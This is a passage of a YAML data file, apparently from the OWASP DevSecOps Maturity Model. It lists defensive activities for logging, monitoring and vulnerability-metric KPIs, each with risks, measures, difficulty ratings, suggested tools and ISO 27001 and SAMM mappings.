nuanced and responsive defense mechanism against a wider array of threats.\n\nSample + steps:\n - Implement an enhanced set of WAF rules based on baseline data\n + \ - Continuous monitoring and fine-tuning of the WAF configuration\n - Develop + a strategic incident response plan utilizing WAF insights \n \nThe + medium configuration requires diligent management and continuous improvement + to address new vulnerabilities while maintaining the integrity of application + access.\n\nThere are debates on how useful a WAF is for APIs.\n" + difficultyOfImplementation: + knowledge: 4 + time: 5 + resources: 4 + usefulness: 3 + level: 4 + dependsOn: + - WAF baseline + implementation: [] + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Infrastructure + Hardening/f0e01814-3b88-4bd0-a3a9-f91db001d20b-medium + comments: ~ + tags: + - none + teamsImplemented: + Default: false + B: false + C: false +Information Gathering: + Logging: + Analyze logs: + uuid: b217c8bb-5d61-4b41-a675-1083993f83b1 + risk: Not aware of attacks happening. + measure: Check logs for keywords. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 3 + level: 3 + implementation: + - uuid: 1adf1ac0-8572-407b-a358-3976d9a225e2 + name: SigmaHQ + tags: [] + url: https://github.com/SigmaHQ/sigma + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - ISO 27001:2017 mapping is missing + iso27001-2022: + - ISO 27001:2022 mapping is missing + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Logging/b217c8bb-5d61-4b41-a675-1083993f83b1 + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Centralized application logging: + uuid: fe875e17-ae4a-45f8-a359-244aa4fcbc04 + risk: Local stored logs can be unauthorized manipulated by attackers with system + access or might be corrupt after an incident. In addition, it is hard to perform + an correlation of logs. This leads attacks, which can be performed silently. + measure: A centralized logging system is used and applications logs (including + application exceptions) are shipped to it. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 5 + level: 2 + dependsOn: + - Alerting + implementation: [] + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 12.4.1 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.15 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Logging/fe875e17-ae4a-45f8-a359-244aa4fcbc04 + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Centralized system logging: + uuid: 4eced38a-7904-4c45-adb0-50b663065540 + risk: Local stored system logs can be unauthorized manipulated by attackers + or might be corrupt after an incident. In addition, it is hard to perform + a aggregation of logs. + measure: By using centralized logging logs are protected against unauthorized + modification. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 2 + level: 1 + implementation: + - uuid: 79f88310-d63e-471d-8e63-8c77f2281b66 + name: rsyslog + url: https://www.rsyslog.com/ + tags: + - tool + - logging + - uuid: 7a8fad2e-d642-4972-8501-74591b23feab + name: logstash + url: https://www.elastic.co/guide/en/logstash/current/getting-started-with-logstash.html + tags: + - tool + - logging + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 12.4.1 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.15 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Logging/4eced38a-7904-4c45-adb0-50b663065540 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Correlation of security events: + uuid: ccf4561d-253f-4762-adcb-bc4622fd6fc5 + risk: Detection of security related events with hints on different systems/tools/metrics + is not possible. + measure: Events are correlated on one system. For example the correlation and + visualization of failed login attempts combined with successful login attempts. + difficultyOfImplementation: + knowledge: 4 + time: 4 + resources: 4 + usefulness: 3 + level: 5 + dependsOn: + - Visualized logging + - Alerting + implementation: [] + references: + samm2: + - O-IM-A-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 12.4.1 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.15 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Logging/ccf4561d-253f-4762-adcb-bc4622fd6fc5 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Logging of security events: + uuid: ccfdd0a8-991e-4269-ad77-c0a54ca655cb + description: | + Implement logging of security relevant events. The following events tend to be security relevant: + - successful/failed login/logout + - creation, change, and deletion of users + - errors during input validation and output creation + - exceptions and errors with security in their name + - transactions of value (e.g., financial transactions, costly operations) + - :unicorn: (special things of your application) + measure: Security-relevant events like login/logout or creation, change, deletion + of users should be logged. + assessment: | + - Show which events are logged. + - Show a test for one event logging. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 4 + level: 2 + credits: | + [AppSecure-nrw](https://github.com/AppSecure-nrw/security-belts/blob/master/orange/logging-of-security-events.md) + implementation: + - uuid: 7a8fad2e-d642-4972-8501-74591b23feab + name: logstash + url: https://www.elastic.co/guide/en/logstash/current/getting-started-with-logstash.html + tags: + - tool + - logging + - uuid: f5da3a20-ab64-4ecf-b4e1-660c80036e45 + name: fluentd + tags: + - tool + url: https://www.fluentd.org/ + - uuid: 6226f8bc-2f6e-45c2-9232-98d2027e4531 + name: bash + tags: + - tool + url: https://www.gnu.org/software/bash/ + - uuid: 5a5c7d99-41e8-454a-86ae-a638c9787d8c + name: OWASP Logging CheatSheet + url: https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html + tags: + - logging + - documentation + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - 12.4.1 + iso27001-2022: + - 8.15 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Logging/ccfdd0a8-991e-4269-ad77-c0a54ca655cb + risk: |- + * No track of security-relevant events makes it harder to analyze an incident. + * Security incident analysis takes significantly less time with proper security events, such that an attack can be stopped before the attacker reaches his goal. + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + PII logging concept: + uuid: 613a73dc-4f60-49db-a6ce-4fb7bf8519f9 + risk: Personal identifiable information (PII) is logged and the privacy law + (e.g. General Data Protection Regulation) is not followed. + measure: A concept how to log PII is documented and applied. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 1 + level: 5 + implementation: + - uuid: 79f88310-d63e-471d-8e63-8c77f2281b66 + name: rsyslog + url: https://www.rsyslog.com/ + tags: + - tool + - logging + - uuid: 7a8fad2e-d642-4972-8501-74591b23feab + name: logstash + url: https://www.elastic.co/guide/en/logstash/current/getting-started-with-logstash.html + tags: + - tool + - logging + - uuid: f5da3a20-ab64-4ecf-b4e1-660c80036e45 + name: fluentd + tags: + - tool + url: https://www.fluentd.org/ + - uuid: 6226f8bc-2f6e-45c2-9232-98d2027e4531 + name: bash + tags: + - tool + url: https://www.gnu.org/software/bash/ + references: + samm2: + - O-OM-A-1 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 12.4.1 + - 18.1.1 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.15 + - 5.31 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Logging/613a73dc-4f60-49db-a6ce-4fb7bf8519f9 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Visualized logging: + uuid: 7c735089-6a83-419f-8b27-c1e676cedea1 + risk: System and application protocols are not visualized properly which leads + to no or very limited logging assessment. Specially developers might have + difficulty to read applications logs with unusually tools like the Linux tool + 'cat' + measure: Protocols are visualized in a simple to use real time monitoring system. + The GUI gives the ability to search for special attributes in the protocol. + difficultyOfImplementation: + knowledge: 1 + time: 3 + resources: 3 + usefulness: 4 + level: 3 + dependsOn: + - Centralized system logging + - Centralized application logging + implementation: + - uuid: 38fe9d00-df8b-44b6-910d-ca0f02b5c5d3 + name: ELK-Stack + tags: [] + url: https://www.elastic.co/elk-stack + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 12.4.1 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.15 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Logging/7c735089-6a83-419f-8b27-c1e676cedea1 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Monitoring: + Advanced app. metrics: + uuid: d03bc410-74a7-4e92-82cb-d01a020cb6bf + risk: People are not looking into tests results. Vulnerabilities not recolonized, + even they are detected by tools. + measure: All defects from the dimension Test- and Verification are instrumented. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 4 + dependsOn: + - Simple application metrics + - Visualized metrics + implementation: [] + references: + samm2: + - O-IM-A-2 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/d03bc410-74a7-4e92-82cb-d01a020cb6bf + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Advanced availability and stability metrics: + uuid: ed715b38-c34b-40cd-83fd-ce807f306fc1 + risk: Trends and advanced attacks are not detected. + measure: Advanced metrics are gathered in relation to availability and stability. + For example unplanned downtime's per year. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 3 + dependsOn: + - Simple application metrics + - Visualized metrics + implementation: [] + references: + samm2: + - O-IM-A-2 + iso27001-2017: + - 12.1.3 + iso27001-2022: + - 8.6 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/ed715b38-c34b-40cd-83fd-ce807f306fc1 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Alerting: + uuid: 8a442d8e-0eb1-4793-a513-571aef982edd + risk: Incidents are discovered after they happened. + measure: | + Thresholds for metrics are set. In case the thresholds are reached, alarms are send out. Which should get attention due to the critically. + difficultyOfImplementation: + knowledge: 2 + time: 5 + resources: 5 + usefulness: 5 + level: 2 + dependsOn: + - Visualized metrics + implementation: [] + references: + samm2: + - O-IM-A-2 + - I-DM-A-3 + iso27001-2017: + - 16.1.2 + - 16.1.4 + - 12.1.4 + iso27001-2022: + - 6.8 + - 5.25 + - 8.31 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/8a442d8e-0eb1-4793-a513-571aef982edd + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Audit of system events: + uuid: 1cd5e4b8-be36-4726-adc7-d8f843f47ac8 + risk: System events (system calls) trends and attacks are not detected. + measure: Gathering of system calls. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 4 + level: 3 + dependsOn: + - Visualized metrics + implementation: + - uuid: 32b64e6e-5187-45e3-b4f3-f5f9a9739012 + name: Falco + tags: + - falco + - systemcall + - monitoring + url: https://github.com/falcosecurity/falco + description: | + Falco makes it easy to consume kernel events, and enrich those events with information from Kubernetes and the rest of the cloud native stack. + references: + samm2: + - O-IM-A-2 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/1cd5e4b8-be36-4726-adc7-d8f843f47ac8 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Coverage and control metrics: + uuid: d0d681e7-d6de-4829-ac64-a9eb2546aa0d + risk: The effectiveness of configuration, patch and vulnerability management + is unknown. + measure: "Usage of Coverage- and control-metrics to show the effectiveness of + the security program. Coverage is the degree in \n which a specific + security control for a specific target group is applied with all resources.\n + \ The control degree shows the actual application of security standards + and security-guidelines. Examples are gathering information on anti-virus, + anti-rootkits, patch management, server configuration and vulnerability management." + difficultyOfImplementation: + knowledge: 3 + time: 5 + resources: 2 + usefulness: 4 + level: 4 + dependsOn: + - Visualized metrics + implementation: + - uuid: 84ef86ea-ada4-4e10-ae4f-a5bb77dcae5d + name: https://ht.transpare + tags: [] + url: https://ht.transparencytoolkit.org/FileServer/FileServer/OLD + description: https://ht.transparencytoolkit.org/FileServer/FileServer/OLD%20Fileserver/books/SICUREZZA/Addison.Wesley.Security.Metrics.Mar.2007.pdf + references: + samm2: + - O-IM-A-2 + iso27001-2017: + - not explicitly covered by ISO 27001 - too specific + iso27001-2022: + - ISO 27001:2022 mapping is missing + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/d0d681e7-d6de-4829-ac64-a9eb2546aa0d + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Deactivation of unused metrics: + uuid: 7f36b9ba-bc05-4fd6-9a2a-73344c249722 + risk: High resources are used while gathering unused metrics. + measure: Deactivation of unused metrics helps to free resources. + difficultyOfImplementation: + knowledge: 2 + time: 5 + resources: 5 + usefulness: 5 + level: 3 + dependsOn: + - Visualized metrics + implementation: [] + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 12.1.3 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.6 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/7f36b9ba-bc05-4fd6-9a2a-73344c249722 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Defense metrics: + uuid: e808028c-351c-42f1-bcd9-fba738d1fc55 + risk: IDS/IPS systems like packet- or application-firewalls detect and prevent + attacks. It is not known how many attacks has been detected and blocked. + measure: | + Gathering of defense metrics like TCP/UDP sources enables to assume the geographic location of the request. + Assuming a Kubernetes cluster with an egress-traffic filter (e.g. IP/domain based), an alert might be send out in case of every violation. For ingress-traffic, alerting might not even be considered. + difficultyOfImplementation: + knowledge: 3 + time: 5 + resources: 2 + usefulness: 4 + level: 4 + dependsOn: + - Visualized metrics + - Filter outgoing traffic + implementation: [] + references: + samm2: + - O-IM-A-2 + iso27001-2017: + - 12.4.1 + - 13.1.1 + iso27001-2022: + - 8.15 + - 8.2 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/e808028c-351c-42f1-bcd9-fba738d1fc55 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Grouping of metrics: + uuid: 42170a71-d4c8-47af-bd71-bf36875fd05b + risk: The analysis of metrics takes long. + measure: Meaningful grouping of metrics helps to speed up analysis. + difficultyOfImplementation: + knowledge: 2 + time: 4 + resources: 2 + usefulness: 2 + level: 3 + implementation: [] + references: + samm2: + - O-IM-A-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 12.1.3 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.6 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/42170a71-d4c8-47af-bd71-bf36875fd05b + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Metrics are combined with tests: + uuid: 71699daf-b2a4-466b-a0b2-89f7dbb18506 + risk: Changes might cause high load due to programming errors. + measure: Metrics during tests helps to identify programming errors. + difficultyOfImplementation: + knowledge: 2 + time: 3 + resources: 2 + usefulness: 5 + level: 5 + dependsOn: + - Grouping of metrics + implementation: [] + references: + samm2: + - O-IM-A-2 + iso27001-2017: + - not explicitly covered by ISO 27001 + iso27001-2022: + - ISO 27001:2022 mapping is missing + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/71699daf-b2a4-466b-a0b2-89f7dbb18506 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Monitoring of costs: + uuid: 10e23a8c-22ff-4487-a706-87ccc9d0798e + risk: Not monitoring costs might lead to unexpected high resource consumption + and a high invoice. + measure: Implement cost budgets. Setting of an alert threshold and sending out + errors when it is reached. In the best case, a second threshold with a limit + is set so that the cost can not go higher. + difficultyOfImplementation: + knowledge: 1 + time: 2 + resources: 2 + usefulness: 3 + level: 2 + dependsOn: + - Simple application metrics + - Simple system metrics + implementation: [] + references: + samm2: + - O-IM-A-2 + iso27001-2017: + - 12.1.3 + iso27001-2022: + - 8.6 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/10e23a8c-22ff-4487-a706-87ccc9d0798e + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Screens with metric visualization: + uuid: 8746647c-638c-473f-8e17-82c068e4c311 + risk: Security related information is discovered too late during an incident. + measure: By having an internal accessible screen with a security related dashboards + helps to visualize incidents. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 5 + level: 4 + dependsOn: + - Grouping of metrics + implementation: [] + references: + samm2: + - O-IM-A-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 16.1.5 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 5.26 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/8746647c-638c-473f-8e17-82c068e4c311 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Simple application metrics: + uuid: e9a6d403-a467-445e-b98a-74f0c29da0b1 + risk: Attacks on an application are not recognized. + measure: |- + Gathering of application metrics helps to identify incidents like brute force attacks, login/logout patterns, and unusual spikes in activity. Key metrics to monitor include: + - Authentication attempts (successful/failed logins) + - Transaction volumes and patterns (e.g. orders, payments) + - API call rates and response times + - User session metrics + - Resource utilization + + Example: An e-commerce application normally processes 100 orders per hour. A sudden spike to 1000 orders per hour could indicate either: + - A legitimate event (unannounced marketing campaign, viral social media post) + - A security incident (automated bulk purchase bots, credential stuffing attack) + + By monitoring these basic metrics, teams can quickly investigate abnormal patterns and determine if they represent security incidents requiring response. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 5 + level: 1 + implementation: + - uuid: ddf221df-3517-42e4-b23d-c1d9a162744c + name: Prometheus + tags: [] + url: https://prometheus.io/ + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - 12.4.1 + iso27001-2022: + - 8.15 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/e9a6d403-a467-445e-b98a-74f0c29da0b1 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Simple budget metrics: + uuid: f08a3219-6941-43ec-8762-4aff739f4664 + risk: Not getting notified about reaching the end of the budget (e.g. due to + a denial of service) creates unexpected costs. + measure: Cloud providers often provide insight into budgets. A threshold and + alarming for the budget is set. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 5 + level: 1 + implementation: + - uuid: 73f6a52c-4fc2-45dc-991b-d5911b6c1ef8 + name: collected + tags: [] + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - 12.1.3 + iso27001-2022: + - 8.6 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/f08a3219-6941-43ec-8762-4aff739f4664 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Simple system metrics: + uuid: 3d1f4c3b-f713-46d9-933a-54a014a26c03 + risk: Without simple metrics analysis of incidents are hard. In case an application + uses a lot of CPU from time to time, it is hard for a developer to find out + the source with Linux commands. + measure: Gathering of system metrics helps to identify incidents and specially + bottlenecks like in CPU usage, memory usage and hard disk usage. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 5 + assessment: | + Are system metrics gathered? + level: 1 + implementation: + - uuid: 73f6a52c-4fc2-45dc-991b-d5911b6c1ef8 + name: collected + tags: [] + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - 12.1.3 + iso27001-2022: + - 8.6 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/3d1f4c3b-f713-46d9-933a-54a014a26c03 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Targeted alerting: + uuid: d6f06ae8-401a-4f44-85df-1079247fa030 + risk: People are bored (ignorant) of incident alarm messages, as they are not + responsible to react. + measure: By the definition of target groups for incidents people are only getting + alarms for incidents they are in charge for. + difficultyOfImplementation: + knowledge: 2 + time: 5 + resources: 5 + usefulness: 5 + level: 3 + dependsOn: + - Alerting + implementation: [] + references: + samm2: + - O-IM-A-2 + - I-DM-A-3 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 16.1.5 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 5.26 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/d6f06ae8-401a-4f44-85df-1079247fa030 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Visualized metrics: + uuid: ded39bcf-4eaa-4c5f-9c94-09acde0a4734 + risk: Not visualized metrics lead to restricted usage of metrics. + measure: Metrics are visualized in real time in a user friendly way. + difficultyOfImplementation: + knowledge: 1 + time: 2 + resources: 2 + usefulness: 3 + level: 2 + dependsOn: + - Simple application metrics + - Simple system metrics + implementation: [] + references: + samm2: + - O-IM-A-2 + iso27001-2017: + - 12.1.3 + iso27001-2022: + - 8.6 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Monitoring/ded39bcf-4eaa-4c5f-9c94-09acde0a4734 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test KPI: + Fix rate per repo/product: + uuid: cf0d600e-114d-4887-9059-d81c53805f0d + risk: "Not communicating how many applications are adhering to SLAs based on + the criticality of vulnerabilities can lead to delayed remediation of \ncritical + security issues, increasing the risk of exploitation and potential damage + to the organization." + measure: "Measurement and communication of the number of vulnerabilities handled + per severity level for components such as applications, ensuring alignment + with SLAs. \nThe rate should be broken down by team, product, application, + repository, and/or service. This analysis should be conducted at least quarterly." + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 3 + level: 3 + implementation: + - uuid: 227d786c-dd76-4b81-b0b2-62389ab8f0fb + name: OWASP DefectDojo + tags: + - vulnerability management system + - owasp + url: https://github.com/DefectDojo/django-DefectDojo + description: | + DefectDojo is a security program and vulnerability management tool. DefectDojo allows you to manage your application security program, maintain product and application information, triage vulnerabilities and push findings into defect trackers. Consolidate your findings into one source of truth with DefectDojo. + - uuid: d2eb592d-c9b5-4c39-bff7-bb313a58e3a9 + name: Purify + tags: + - vulnerability management system + url: https://github.com/faloker/purify/ + description: | + The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: 3b99799c-e875-4cc2-aad7-5ce4564a1cde + name: Business friendly vulnerability management metrics + url: https://medium.com/uber-security-privacy/business-friendly-vulnerability-management-metrics-cfd702fd7705 + tags: + - documentation + - vulnerability + - vulnerability management system + - uuid: 7ec30b0e-9681-427a-80ee-ab811d9e476f + name: DefectDojo Client + tags: + - Defectdojo + - statistics + url: https://github.com/SDA-SE/defectdojo-client + description: | + This projects contains the DefectDojo upload client and statistics client. It is for example used within the ClusterImageScanner. + references: + samm2: + - I-DM-B-2 + iso27001-2022: + - 5.25 + - 5.12 + - 5.13 + - 5.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Test + KPI/cf0d600e-114d-4887-9059-d81c53805f0d + tags: + - vulnerability-mgmt + - metrics + - vmm-measurements + teamsImplemented: + Default: false + B: false + C: false + Generation of response statistics: + uuid: c922981b-65ed-40f3-a947-96fee9a0125f + risk: No or delayed reaction to findings leads to potential exploitation of + findings. + measure: Creation and response statistics (e.g. Mean Time to Resolution) of + findings. This is also referred to as _Mean Time to Resolve_. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 3 + dependsOn: + - Usage of a vulnerability management system + level: 3 + implementation: + - uuid: 227d786c-dd76-4b81-b0b2-62389ab8f0fb + name: OWASP DefectDojo + tags: + - vulnerability management system + - owasp + url: https://github.com/DefectDojo/django-DefectDojo + description: | + DefectDojo is a security program and vulnerability management tool. DefectDojo allows you to manage your application security program, maintain product and application information, triage vulnerabilities and push findings into defect trackers. Consolidate your findings into one source of truth with DefectDojo. + - uuid: d2eb592d-c9b5-4c39-bff7-bb313a58e3a9 + name: Purify + tags: + - vulnerability management system + url: https://github.com/faloker/purify/ + description: | + The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: 3b99799c-e875-4cc2-aad7-5ce4564a1cde + name: Business friendly vulnerability management metrics + url: https://medium.com/uber-security-privacy/business-friendly-vulnerability-management-metrics-cfd702fd7705 + tags: + - documentation + - vulnerability + - vulnerability management system + - uuid: 7ec30b0e-9681-427a-80ee-ab811d9e476f + name: DefectDojo Client + tags: + - Defectdojo + - statistics + url: https://github.com/SDA-SE/defectdojo-client + description: | + This projects contains the DefectDojo upload client and statistics client. It is for example used within the ClusterImageScanner. + references: + samm2: + - I-DM-B-2 + - I-SB-B-3 + iso27001-2017: + - 16.1.4 + - 8.2.3 + iso27001-2022: + - 5.25 + - 5.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Test + KPI/c922981b-65ed-40f3-a947-96fee9a0125f + tags: + - vulnerability-mgmt + - metrics + - vmm-measurements + comments: The [DefectDojo-Client](https://github.com/SDA-SE/defectdojo-client/tree/master/statistic-client) + generates statistics from OWASP DefectDojo and places the results in a [Github + repository](https://github.com/pagel-pro/cluster-image-scanner-all-results). + teamsImplemented: + Default: false + B: false + C: false + Number of vulnerabilities/severity: + uuid: bc548cba-cb82-4f76-bd4b-325d9d256279 + risk: Failing to convey the number of vulnerabilities by severity might undermine + the effectiveness of product teams. This might lead to ignorance of findings. + measure: Measurement and communication of vulnerabilities per severity for components + like applications. At least quarterly. + description: |- + Communication can be performed in a simple way, e.g. text based during the build process. + This activity depends on at least one security testing implementation. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 3 + level: 2 + dependsOn: [] + implementation: [] + references: + samm2: + - I-DM-B-2 + iso27001-2022: + - 5.25 + - 5.12 + - 5.13 + - 5.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Test + KPI/bc548cba-cb82-4f76-bd4b-325d9d256279 + tags: + - vulnerability-mgmt + - metrics + - vmm-measurement + teamsImplemented: + Default: false + B: false + C: false + Number of vulnerabilities/severity/layer: + uuid: 0ec92899-a5cb-4649-984b-2fb1d6c784ad + risk: Failing to convey the number of vulnerabilities by severity and layer + (app/infra) might undermine the effectiveness of product teams. This might + lead to ignorance of findings. + measure: Measurement and communication of vulnerabilities per severity for components + like applications and split it depending on the layer (e.g. app/infra). At + least quarterly. + description: |- + Communication can be performed in a simple way, e.g. text based during the build process. + This activity depends on at least one security testing implementation. + Layers to consider (SCA): + - Cloud provider (if insights are possible) + - Runtimes, e.g. Kubernetes nodes + - Base images and container images + - Application + + Layers to consider SAST/DAST: + - Cloud provider + - Runtime, e.g. Kubernetes + - Base images and container images + - Application + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 3 + level: 2 + dependsOn: [] + implementation: [] + references: + samm2: + - I-DM-B-2 + iso27001-2022: + - 5.25 + - 5.12 + - 5.13 + - 5.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Test + KPI/0ec92899-a5cb-4649-984b-2fb1d6c784ad + tags: + - vulnerability-mgmt + - metrics + - vmm-measurement + teamsImplemented: + Default: false + B: false + C: false + Patching mean time to resolution via PR: + uuid: 86d490b9-d798-4a5b-a011-ab9688014c46 + risk: Without measuring Mean Time to Resolution (MTTR) related to patching, + it is challenging to identify delays in the patching process. Unaddressed + vulnerabilities can be exploited by attackers, leading to potential security + breaches and data loss. + measure: "Measurement and communication of patching Mean Time to Resolution + (MTTR) in alignment with Service Level Agreements (SLAs), conducted at least + on a quarterly basis.\nThis includes the measurement of the existence of a + properly configured automated pull request (PR) tool (e.g., Dependabot or + Renovate) in a repository. \nIn addition, the measurement of the time from + opening an automated PR to merging it.\n\nAverage time to patch is visualized + per component/project/team." + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 2 + usefulness: 3 + level: 2 + dependsOn: + - Automated PRs for patches + implementation: [] + references: + samm2: + - I-DM-B-2 + iso27001-2022: + - 5.25 + - 5.12 + - 5.13 + - 5.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Test + KPI/86d490b9-d798-4a5b-a011-ab9688014c46 + tags: + - patching + - metrics + - vmm-measurements + teamsImplemented: + Default: false + B: false + C: false + Patching mean time to resolution via production: + uuid: 77ffc53e-9f3d-41f4-92d3-02f04f9b6b0f + risk: Without measuring Mean Time to Resolution (MTTR) related to patching, + it is challenging to identify delays in the patching process. Unaddressed + vulnerabilities can be exploited by attackers, leading to potential security + breaches and data loss. + measure: |- + Measurement and communication of the time from the availability of a patch to its deployment in production in alignment with Service Level Agreements (SLAs), conducted at least on a quarterly basis. + Average time to patch is visualized per component/project/team. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 2 + usefulness: 3 + level: 4 + dependsOn: + - 